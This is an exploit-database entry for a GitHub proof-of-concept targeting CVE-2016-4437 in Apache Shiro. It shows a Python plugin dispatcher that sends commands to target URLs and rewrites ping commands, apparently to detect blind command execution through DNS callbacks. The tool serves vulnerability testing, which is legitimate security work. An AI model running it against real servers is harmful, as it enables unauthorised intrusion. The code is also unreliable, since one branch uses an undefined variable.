Exploit database

GH-d40119839c0bae174ad2adf9aad83d10

bkfish/awesome_shiro

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2016-4437

13 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
bkfish/awesome_shiroRevision efa59d3a86ef

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

module/main.py

Python · 1,297 bytes
#!/usr/bin/env python
# _*_ coding:utf-8 _*_




def scripts(url,command):
    processor = Idea()
    processed = processor.process(url,command)


class Idea(object):
    PLUGINS = {}

    def process(self,url,command,plugins=()):
        if plugins is ():
            for plugin_name in self.PLUGINS.keys():
                NEWCOM=plugin_name.split(':')[-1]
                command1=command.replace('ping ','ping '+NEWCOM+'.')
                try:
                    print("[*]  开始检测模块",plugin_name)
                    self.PLUGINS[plugin_name]().process(url,command1)
                except:
                    print ("[-]{} 检测失败,请检查网络连接或目标是否存活".format(plugin_name))
        else:
            for plugin_name in plugins:
                try:
                    print("[*]开始检测 ",self.PLUGINS[plugin_name])
                    self.PLUGINS[plugin_name]().process(url,command1)
                except:
                    print ("[-]{}检测失败,请检查网络连接或目标是否存活".format(self.PLUGINS[plugin_name]))
        return

    @classmethod
    def plugin_register(cls, plugin_name):
        def wrapper(plugin):
            cls.PLUGINS.update({plugin_name:plugin})
            return plugin
        return wrapper